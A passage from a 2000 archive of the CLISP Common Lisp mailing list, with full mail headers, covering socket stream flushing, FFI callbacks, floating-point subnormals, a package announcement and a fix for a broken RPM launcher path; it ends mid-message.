http://home.elka.pw.edu.pl/~rstrzali From sds@gnu.org Mon Jun 12 07:29:58 2000 Received: from sanpietro.red-bean.com (sanpietro.red-bean.com [206.69.89.65]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA12515 for ; Mon, 12 Jun 2000 07:29:57 -0700 Received: from gnu.org (centurion3.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id JAA17876; Mon, 12 Jun 2000 09:24:17 -0500 Message-ID: <3944F211.66ABFA70@gnu.org> Date: Mon, 12 Jun 2000 10:22:09 -0400 From: Sam Steingold X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en,ru MIME-Version: 1.0 To: Rafal Strzalinski CC: Don Cohen , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket streams References: <14657.5356.120831.210684@santorini> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Rafal Strzalinski wrote: > > > The next time I try to print to x I get > > *** - UNIX error 32 (EPIPE): Broken pipe, child process terminated or > > socket close > > Under cmu-lisp you can catch SIGPIPE. you can use ignore-errors or handler-case or ... in CLISP too. From haible@ilog.fr Tue Jun 13 13:00:20 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id NAA15733 for ; Tue, 13 Jun 2000 13:00:19 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA20222 for ; Tue, 13 Jun 2000 21:53:18 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.225]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA16305; Tue, 13 Jun 2000 21:56:33 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id VAA18799; Tue, 13 Jun 2000 21:56:32 +0200 (MET DST) Date: Tue, 13 Jun 2000 21:56:32 +0200 (MET DST) Message-Id: <200006131956.VAA18799@oberkampf.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: call-next-method Zbyszek Jurkiewicz wrote on 2000-05-24: > Would it be hard to change CALL-NEXT-METHOD into a function > (instead of macro)? Without it, CLISP is inconsistent with > ANSI CL and CLtL2, and some programs cannot not be ported > easily to it. This is now implemented in the current CVS. Thanks for the suggestion. Bruno From don@baja.nichimen.com Wed Jun 14 09:54:21 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA10160 for ; Wed, 14 Jun 2000 09:54:21 -0700 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id JAA11248; Wed, 14 Jun 2000 09:50:54 -0700 (PDT) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id JAA24837; Wed, 14 Jun 2000 09:50:53 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Wed, 14 Jun 2000 09:50:53 -0700 (PDT) From: don@nichimen.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net To: Martin =?ISO-8859-1?Q?Atzm=FCller?= Subject: [clisp-list] Refering to "CLISP & flushing on socket-stream" In-Reply-To: <17794.960396814@www7.gmx.net> References: <17794.960396814@www7.gmx.net> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14663.46238.36623.47513@santorini> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id JAA10160 Martin Atzmüller Hi I just read the lisp newsgroup and found the article by Rafal Strzaliski, regarding the above subject. Maybe I can elaborate a bit on this. Recently I wrote a HTTP-server for Clisp. When sending a POST-reply back to Netscape, sometimes Netscape insisted that it had not seen all the data before the connection was closed. I used write-byte-sequence to write the data over the socket-stream. When I inserted (sleep 1) or even (sleep 0.1) _before_ I closed the connection, all worked fine. I am not really sure, why. I tried to use force-output or finish-output, but this did not help a lot. When I looked at the sourcecode, I noted one thing: In my opinion force-/finish-output do nothing on unbuffered streams, and a socket-stream is an unbuffered stream, or am I wrong here? Comments? How much data were you writing? Also what OS? Have you tried watching the packets? The fact that clisp thinks this stream is unbuffered suggests that it thinks the stream just goes to the tcp code, so finish output is a noop, whereas in reality the stream goes to the tcp on the other end of the connection. Therefore finish output should wait for the ack to come back indicating that all the data has been received. I wonder how easy that is. From ygrats@gmx.net Wed Jun 14 23:07:50 2000 Received: from www19.gmx.net (www.gmx.net [194.221.183.59]) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id XAA15881 for ; Wed, 14 Jun 2000 23:07:49 -0700 From: ygrats@gmx.net Received: (qmail 23765 invoked by uid 0); 15 Jun 2000 06:03:59 -0000 Date: Thu, 15 Jun 2000 08:03:59 +0200 (MEST) To: don@nichimen.com (Don Cohen) Cc: clisp-list@sourceforge.net Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] Refering to "CLISP & flushing on socket-stream" MIME-Version: 1.0 References: <14663.46238.36623.47513@santorini> Message-ID: <23643.961049039@www19.gmx.net> X-Authenticated-Sender: #0001639724@gmx.net X-Authenticated-IP: [129.116.226.162] X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Don Cohen wrote: > Martin Atzmüller > Hi > > I just read the lisp newsgroup and found the article by Rafal > Strzaliski, > regarding the above subject. > > Maybe I can elaborate a bit on this. > Recently I wrote a HTTP-server for Clisp. When sending a POST-reply > back > to Netscape, sometimes Netscape insisted that it had not seen all the > data > before the connection was closed. > I used write-byte-sequence to write the data over the socket-stream. > When I inserted (sleep 1) or even (sleep 0.1) _before_ I closed the > connection, all worked fine. > I am not really sure, why. > > I tried to use force-output or finish-output, but this did not help a > lot. > When I looked at the sourcecode, I noted one thing: > In my opinion force-/finish-output do nothing on unbuffered streams, > and a > socket-stream is an unbuffered stream, or am I wrong here? > > Comments? > > How much data were you writing? Exacltly 76 bytes. > Also what OS? Slackware Linux, Kernel 2.2.16, glibc 2.1.2. I also tried it on a debian system, same results. > Have you tried watching the packets? no. > The fact that clisp thinks this stream is unbuffered suggests that > it thinks the stream just goes to the tcp code, so finish output is a > noop, whereas in reality the stream goes to the tcp on the other end > of the connection. Therefore finish output should wait for the ack to > come back indicating that all the data has been received. Yes. > I wonder how easy that is. Me too. :) Well, I tested it again, today, and it worked _sometimes_. Approximately 8 out of 10 trials it failed. I tried this using Netscape 4.7 and Netscape 4.04. A telnet got it all right, though. I want to explore a bit further, and then I might have some sample code (hopefully). Well, one thing people might be able to reproduce is the following. Newer CLISP-versions (CVS) have a #'inspect. And this does not work in my setup, if I use the option ':frontend :http'. For example: (setq a "bla") (inspect a :frontend :http) results in the following message from Netscape: "A network error occurred while Netscape was receiving data. (Network Error: Connection reset by peer.)" I looked at inspect.lisp. The code that is responsible for that seems to be the macro "with-html-output". If I inserted a (sleep 1) just before (close sock), e.g. before the socket was closed, Netscape at least displayed something. I'm not really sure, if this is a Unix thing, or a Clisp bug, but I'd be happy if somebody could reproduce this. Martin -- Homepage: http://jove.prohosting.com/~ygrats/ Mail: ygrats@gmx.net Sent through GMX FreeMail - http://www.gmx.net From marcoxa@cs.nyu.edu Mon Jun 19 07:10:03 2000 Received: from octagon.mrl.nyu.edu (OCTAGON.MRL.NYU.EDU [128.122.47.83]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA06486; Mon, 19 Jun 2000 07:10:02 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id KAA29310; Mon, 19 Jun 2000 10:08:58 -0400 Date: Mon, 19 Jun 2000 10:08:58 -0400 Message-Id: <200006191408.KAA29310@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: clocc-list@lists.sourceforge.net CC: clocc-announce@lists.sourceforge.net, clocc-devel@lists.sourceforge.net, cmucl-help@cons.org, cmucl-imp@cons.org, clisp-list@lists.sourceforge.net, lug@lisp.de, lispweb@red-bean.com Subject: [clisp-list] ANNOUNCEMENT: CL-ENVIRONMENT 0.1 available in the CLOCC. Apoligies if you see this message too many times. Hi, this is the first public release of the CL-ENVIROMENT package version 0.1. The package is available as a "File Module" in the CLOCC project at http://www.sourceforge.net. You should be able to download it from the directory http://download.sourceforge.net/clocc Here is the README file ============================================================================== CL.ENVIRONMENT 0.1 This package contains a set of definitions whose intent is to facilitate the management of system dependencies. In particular, many little bits and pieces of information, which are usually represented as strings or features in a Common Lisp implementation, are now represented as (singleton) class instances. The idea being that now it should be "easier" to write more portable code, by using a standardized interface. The inspiration for this work is in the Sonya Keene's book on CLOS. The system has been tested on CMUCL 18b Allegro CL Lite 5.01 Windows Lispworks Personal Edition 4.1 Windows Please see the files INSTALLATION and COPYRIGHT for more information. The package is currently released under the LGPL and all the files should be considered to include such Copyright notice. 2000-06-19 Marco Antoniotti ============================================================================== One is glad to be of help. Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis From simsek@robotics.EECS.Berkeley.EDU Thu Jun 22 14:58:41 2000 Received: from robotics.EECS.Berkeley.EDU (root@robotics.EECS.Berkeley.EDU [128.32.239.38]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id OAA06096 for ; Thu, 22 Jun 2000 14:58:41 -0700 Received: from robotics.eecs.berkeley.edu (paleale.EECS.Berkeley.EDU [128.32.239.127]) by robotics.EECS.Berkeley.EDU (8.9.1a/8.9.1) with ESMTP id OAA15717 for ; Thu, 22 Jun 2000 14:54:46 -0700 (PDT) Sender: simsek@robotics.EECS.Berkeley.EDU Message-ID: <39528B26.301B429C@robotics.eecs.berkeley.edu> Date: Thu, 22 Jun 2000 14:54:46 -0700 From: Tunc Simsek Reply-To: simsek@robotics.EECS.Berkeley.EDU Organization: UC Berkeley X-Mailer: Mozilla 4.61 [en] (X11; I; SunOS 5.5.1 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] specialized arrays Regards, I've discovered that CLISP allows array specialized to integers and friends, but not double-floats and single-floats (let alone complex double-floats). I'd like to port matlisp (which currently runs on CMU) to clisp. To make my life easier, I'd need arrays specialized to double-floats. In particular, the specialization should be that the allocation is C compatible (i.e. don't need to copy arrays in/out during foreign function calls). Is this possible? Can I do it externally and load it without dealing with the CLISP source? Also, the FFI is somewhat confusing. Is it possible to load a library, say libblas.o, without using link-kit. I think that I should not need to have the CLISP sources around. Thanks, Tunc From simsek@robotics.EECS.Berkeley.EDU Thu Jun 29 12:01:27 2000 Received: from robotics.EECS.Berkeley.EDU (root@robotics.EECS.Berkeley.EDU [128.32.239.38]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA05515 for ; Thu, 29 Jun 2000 12:01:26 -0700 Received: from robotics.eecs.berkeley.edu (paleale.EECS.Berkeley.EDU [128.32.239.127]) by robotics.EECS.Berkeley.EDU (8.9.1a/8.9.1) with ESMTP id LAA07665 for ; Thu, 29 Jun 2000 11:56:59 -0700 (PDT) Sender: simsek@robotics.EECS.Berkeley.EDU Message-ID: <395B9BFB.1E63B5A9@robotics.eecs.berkeley.edu> Date: Thu, 29 Jun 2000 11:56:59 -0700 From: Tunc Simsek Reply-To: simsek@robotics.EECS.Berkeley.EDU Organization: UC Berkeley X-Mailer: Mozilla 4.61 [en] (X11; I; SunOS 5.5.1 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] CLISP FFI Regards, I'm looking to get some help on the CLISP FFI. I basically need to figure out how to load a compiled object (static) file into CLISP in a portable way (to me, this means without using clisp link kit). Any suggestions, experiences. Thanks, Tunc From russell@coulee.tdb.com Sat Jul 1 01:34:48 2000 Received: from coulee.tdb.com (root@coulee.tdb.com [216.99.215.11]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id BAA15568 for ; Sat, 1 Jul 2000 01:34:48 -0700 Received: by coulee.tdb.com via sendmail from stdin id (Debian Smail3.2.0.102) for clisp-list@lists.sourceforge.net; Sat, 1 Jul 2000 01:30:13 -0700 (PDT) To: clisp-list@lists.sourceforge.net From: Russell Senior Date: 01 Jul 2000 01:30:13 -0700 In-Reply-To: Tunc Simsek's message of "Thu, 29 Jun 2000 11:56:59 -0700" Message-ID: <86hfaantgq.fsf@coulee.tdb.com> Lines: 27 X-Mailer: Gnus v5.7/Emacs 20.7 Subject: [clisp-list] IEEE subnormals? I notice that CLISP doesn't support IEEE 754 subnormal or denormalized floats. For example: > (eq least-positive-single-float least-positive-normalized-single-float) T and: > (scale-float (float 1 1f0) -127) *** - floating point underflow whereas, CMUCL and ACL-5.0 gives: * (scale-float (float 1 1f0) -127) 5.8774716e-39 This is discussed in _impnotes.html a little bit. How difficult would these be to add to CLISP? -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From haible@ilog.fr Mon Jul 3 06:53:07 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA05607 for ; Mon, 3 Jul 2000 06:53:03 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA02864; Mon, 3 Jul 2000 15:43:51 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.178]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA22202; Mon, 3 Jul 2000 15:47:13 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA04751; Mon, 3 Jul 2000 15:44:58 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14688.39130.844875.807916@honolulu.ilog.fr> Date: Mon, 3 Jul 2000 15:44:58 +0200 (CEST) To: Russell Senior Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] IEEE subnormals? In-Reply-To: <86hfaantgq.fsf@coulee.tdb.com> References: <86hfaantgq.fsf@coulee.tdb.com> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Russell Senior writes: > I notice that CLISP doesn't support IEEE 754 subnormal or denormalized > floats. ... How difficult would these be to add to CLISP? Why would you want this in CLISP? When the exponent range is not sufficient for an application, use the next higher floating point format; it has a wider exponent range. Bruno From russell@coulee.tdb.com Mon Jul 3 10:26:40 2000 Received: from coulee.tdb.com (root@coulee.tdb.com [216.99.215.11]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA24005 for ; Mon, 3 Jul 2000 10:26:40 -0700 Received: by coulee.tdb.com via sendmail from stdin id (Debian Smail3.2.0.102) for clisp-list@lists.sourceforge.net; Mon, 3 Jul 2000 10:21:48 -0700 (PDT) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] IEEE subnormals? References: <86hfaantgq.fsf@coulee.tdb.com> <14688.39130.844875.807916@honolulu.ilog.fr> From: Russell Senior Date: 03 Jul 2000 10:21:48 -0700 In-Reply-To: Bruno Haible's message of "Mon, 3 Jul 2000 15:44:58 +0200 (CEST)" Message-ID: <867lb3nn83.fsf@coulee.tdb.com> Lines: 20 X-Mailer: Gnus v5.7/Emacs 20.7 >>>>> "Bruno" == Bruno Haible writes: Russell> I notice that CLISP doesn't support IEEE 754 subnormal or Russell> denormalized floats. ... How difficult would these be to add Russell> to CLISP? Bruno> Why would you want this in CLISP? When the exponent range is Bruno> not sufficient for an application, use the next higher floating Bruno> point format; it has a wider exponent range. Suppose you are handed an IEEE binary float representation, by LISP:READ-FLOAT, or mayby through a foreign function interface. Or are constrained on output through LISP:WRITE-FLOAT to a fixed float representation. -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From thom.goodsell@usa.net Wed Jul 12 08:39:57 2000 Received: from aw164.netaddress.usa.net (aw164.netaddress.usa.net [204.68.24.64]) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id IAA11734 for ; Wed, 12 Jul 2000 08:39:57 -0700 Received: (qmail 10049 invoked by uid 60001); 12 Jul 2000 15:34:29 -0000 Message-ID: <20000712153429.10048.qmail@aw164.netaddress.usa.net> Received: from 204.68.24.64 by aw164 for [199.103.161.2] via web-mailer(34FM1.5A.01A) on Wed Jul 12 15:34:29 GMT 2000 Date: 12 Jul 00 11:34:29 EDT From: Thomas Goodsell To: clisp-list@lists.sourceforge.net X-Mailer: USANET web-mailer (34FM1.5A.01A) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id IAA11734 Subject: [clisp-list] ILISP debugging problem When using CLISP via ILISP, I've found a problem when debugging. If my program breaks, the first symbol I enter is not recognized, sending me into a deeper break loop. From that point on, everything works properly. Does anyone know if this is a CLISP or ILISP problem? I don't recall it happening with CMUCL, but I don't have it installed to check. Is there a workaround? Thanks, Thom -----BEGIN GEEK CODE BLOCK----- Version: 3.1 GAT d s:+ a- C++$ ULSI++$ P--- L++$ E+>+++ W++ N+ o? K- w--(-) O? M+ V PS++(--) PE+(--) Y+>++ PGP->+ t+ 5++ X+ R tv- b+>+++ DI+ D---(+) G e+++ h---() r+++ y+++ ------END GEEK CODE BLOCK------ ____________________________________________________________________ Get free email and a permanent address at http://www.amexmail.com/?A=1 From thom.goodsell@usa.net Wed Jul 12 13:24:15 2000 Received: from aw163.netaddress.usa.net (aw163.netaddress.usa.net [204.68.24.63]) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id NAA10694 for ; Wed, 12 Jul 2000 13:24:14 -0700 Received: (qmail 18893 invoked by uid 60001); 12 Jul 2000 20:18:39 -0000 Message-ID: <20000712201839.18892.qmail@aw163.netaddress.usa.net> Received: from 204.68.24.63 by aw163 for [199.103.161.2] via web-mailer(34FM1.5A.01A) on Wed Jul 12 20:18:39 GMT 2000 Date: 12 Jul 00 16:18:39 EDT From: Thomas Goodsell To: clisp-list@lists.sourceforge.net X-Mailer: USANET web-mailer (34FM1.5A.01A) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id NAA10694 Subject: [clisp-list] Another Question (re: clisp rpm) I've another question. I installed the clisp-2000.03.06-1mdk rpm (from rpmfind.net) and it's giving me fits. When I run /usr/bin/clisp, I get this lovely message: /usr/bin/clisp: /var/tmp/clisp-buildroot/usr/lib/clisp/base/lisp.run: No such file or directory I can start things up manually, using lisp.run -M lispinit.mem, but that's a pain. I can also compile and install from source and have everything run nicely. I'd really like to keep the RPM, though (I like package systems). I'm guessing I need to recreate the /usr/bin/clisp binary. Is there any way to do this without source? How should it be done (with or without source)? Thanks, Thom ____________________________________________________________________ Get free email and a permanent address at http://www.amexmail.com/?A=1 From haible@ilog.fr Wed Jul 12 14:32:06 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id OAA16974 for ; Wed, 12 Jul 2000 14:32:05 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id XAA17330; Wed, 12 Jul 2000 23:22:33 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.230]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id XAA08819; Wed, 12 Jul 2000 23:25:57 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id XAA23453; Wed, 12 Jul 2000 23:25:11 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14700.57911.370263.179062@honolulu.ilog.fr> Date: Wed, 12 Jul 2000 23:25:11 +0200 (CEST) To: Thomas Goodsell Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Another Question (re: clisp rpm) In-Reply-To: <20000712201839.18892.qmail@aw163.netaddress.usa.net> References: <20000712201839.18892.qmail@aw163.netaddress.usa.net> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Thomas Goodsell writes: > I've another question. I installed the clisp-2000.03.06-1mdk rpm (from > rpmfind.net) and it's giving me fits. When I run /usr/bin/clisp, I get this > lovely message: > /usr/bin/clisp: /var/tmp/clisp-buildroot/usr/lib/clisp/base/lisp.run: No such > file or directory > > I can start things up manually, using lisp.run -M lispinit.mem, but that's a > pain. I can also compile and install from source and have everything run > nicely. I'd really like to keep the RPM, though (I like package systems). The above message is a reason to dislike package systems, isn't it? > I'm guessing I need to recreate the /usr/bin/clisp binary. Is there any way > to do this without source? How should it be done (with or without source)? Try the following commands: sed -e 's%/var/tmp/clisp-buildroot%////////////////////////%g' \ < /usr/bin/clisp > /usr/bin/clisp.new chmod a+rx /usr/bin/clisp.new mv /usr/bin/clisp.new /usr/bin/clisp Bruno From thom.goodsell@usa.net Thu Jul 13 06:02:58 2000 Received: from aw162.netaddress.usa.net (aw162.netaddress.usa.net [204.68.24.62]) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id GAA25417 for ; Thu, 13 Jul 2000 06:02:58 -0700 Received: (qmail 27309 invoked by uid 60001); 13 Jul 2000 12:57:26 -0000 Message-ID: <20000713125726.27308.qmail@aw162.netaddress.usa.net> Received: from 204.68.24.62 by aw162 for [199.103.161.2] via web-mailer(34FM1.5A.01A) on Thu Jul 13 12:57:26 GMT 2000 Date: 13 Jul 00 08:57:26 EDT From: Thomas Goodsell To: Bruno Haible , Thomas Goodsell Subject: Re: [Re: [clisp-list] Another Question (re: clisp rpm)] CC: clisp-list@lists.sourceforge.net X-Mailer: USANET web-mailer (34FM1.5A.01A) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id GAA25417 Much thanks; it works great now. Perhaps I should rephrase -- I like the convenience of package systems, when they work. Thanks Again, Thom Bruno Haible wrote: > Thomas Goodsell writes: > > I've another question. I installed the clisp-2000.03.06-1mdk rpm (from > > rpmfind.net) and it's giving me fits. When I run /usr/bin/clisp, I get this > > lovely message: > > /usr/bin/clisp: /var/tmp/clisp-buildroot/usr/lib/clisp/base/lisp.run: No such > > file or directory > > > > I can start things up manually, using lisp.run -M lispinit.mem, but that's a > > pain. I can also compile and install from source and have everything run > > nicely. I'd really like to keep the RPM, though (I like package systems). > > The above message is a reason to dislike package systems, isn't it? > > > I'm guessing I need to recreate the /usr/bin/clisp binary. Is there any way > > to do this without source? How should it be done (with or without source)? > > Try the following commands: > > sed -e 's%/var/tmp/clisp-buildroot%////////////////////////%g' \ > < /usr/bin/clisp > /usr/bin/clisp.new > chmod a+rx /usr/bin/clisp.new > mv /usr/bin/clisp.new /usr/bin/clisp > > Bruno ____________________________________________________________________ Get free email and a permanent address at http://www.amexmail.com/?A=1 From amoroso@mclink.it Thu Jul 13 09:38:41 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA18777 for ; Thu, 13 Jul 2000 09:38:34 -0700 Received: from net145-099.mclink.it (net145-099.mclink.it [195.110.145.99]) by mail1.mclink.it (8.9.1/8.9.0) with SMTP id SAA03338 for ; Thu, 13 Jul 2000 18:32:57 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Another Question (re: clisp rpm) Date: Thu, 13 Jul 2000 18:31:51 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <20000712201839.18892.qmail@aw163.netaddress.usa.net> In-Reply-To: <20000712201839.18892.qmail@aw163.netaddress.usa.net> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit On 12 Jul 00 16:18:39 EDT, Thomas Goodsell wrote: > I've another question. I installed the clisp-2000.03.06-1mdk rpm (from > rpmfind.net) and it's giving me fits. When I run /usr/bin/clisp, I get this [...] > nicely. I'd really like to keep the RPM, though (I like package systems). The main advantage of package systems is that you can remove the whole thing without keeping track of where things are installed. However, something similar can be obtained with a source distribution. Just run the configure script with the option: --prefix=/usr/local/clisp # or your favorite directory and create a symbolic link from a directory in your path (e.g. /usr/local/bin) to the CLISP executable (or just add the CLISP bin directory to your path). When you need to remove that version of CLISP, just do: rm -rf /usr/local/clisp Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From knute@ii.uib.no Wed Jul 26 17:18:39 2000 Received: from ii.uib.no (eik.ii.uib.no [129.177.16.3]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id RAA29170 for ; Wed, 26 Jul 2000 17:18:38 -0700 Received: from apal.ii.uib.no [129.177.16.7] by ii.uib.no with esmtp (Exim 3.03) id 13HbOK-0002oj-00 for ; Thu, 27 Jul 2000 02:19:12 +0200 Received: (from knute@localhost) by apal.ii.uib.no (8.8.8+Sun/8.8.7) id CAA16863 for clisp-list@lists.sourceforge.net; Thu, 27 Jul 2000 02:18:36 +0200 (MET DST) Date: Thu, 27 Jul 2000 02:18:36 +0200 From: Knut Arild Erstad To: clisp-list@lists.sourceforge.net Subject: [clisp-list] C function addresses Message-ID: <20000727021836.A16609@ii.uib.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Hi, I'm need to pass a callback function created with DEF-C-CALL-IN as an argument to a C function (declared with DEF-C-CALL-OUT). Something like this: ;; Callback function (def-c-call-in draw (:return-type nil)) (defun draw () (...)) (defun some-function ... (glutDisplayFunc #'draw) ...) This doesn't work, of course. I don't want the lisp function #'DRAW, I think what I need is the address of the C function draw. How can I do that? For those interested: I am trying to make OpenGL bindings for clisp, more specifically a port of the Allegro bindings found at . If OpenGL bindings for clisp already exists, please let me know. -- Knut Arild Erstad Vacuums are nothings. We only mention them to let them know we know they're there. From haible@ilog.fr Thu Jul 27 06:52:40 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA20307 for ; Thu, 27 Jul 2000 06:52:39 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA11338; Thu, 27 Jul 2000 15:48:28 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.140]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA03291; Thu, 27 Jul 2000 15:51:59 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA19846; Thu, 27 Jul 2000 15:51:15 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14720.15955.520265.885667@honolulu.ilog.fr> Date: Thu, 27 Jul 2000 15:51:15 +0200 (CEST) To: Knut Arild Erstad Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] C function addresses In-Reply-To: <20000727021836.A16609@ii.uib.no> References: <20000727021836.A16609@ii.uib.no> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Knut Arild Erstad writes: > I'm need to pass a callback function created with DEF-C-CALL-IN as an > argument to a C function (declared with DEF-C-CALL-OUT). Something like > this: > > ;; Callback function > (def-c-call-in draw (:return-type nil)) > (defun draw () > (...)) > > (defun some-function > ... > (glutDisplayFunc #'draw) > ...) What does your def-c-call-out definition of glutDisplayFunc look like? > This doesn't work, of course. I don't want the lisp function #'DRAW, I > think what I need is the address of the C function draw. The FFI will convert the lisp function #'DRAW to the C function address automatically, if you have the right declaration for glutDisplayFunc. Bruno From Bernard.Urban@meteo.fr Thu Jul 27 09:29:30 2000 Received: from cadillac.meteo.fr (cadillac.meteo.fr [137.129.1.4]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA09706 for ; Thu, 27 Jul 2000 09:29:29 -0700 Received: from goudurix.meteo.fr (goudurix.meteo.fr [137.129.26.22]) by cadillac.meteo.fr (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id QAA05665; Thu, 27 Jul 2000 16:28:56 GMT Received: (from bernard@localhost) by goudurix.meteo.fr (8.8.8+Sun/8.8.8) id QAA07031; Thu, 27 Jul 2000 16:28:48 GMT X-Authentication-Warning: goudurix.meteo.fr: bernard set sender to bernard@goudurix using -f To: clisp-list@lists.sourceforge.net From: bernard URBAN Date: 27 Jul 2000 18:28:48 +0200 Message-ID: <88vgxrpmf3.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me> Lines: 28 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] bug in 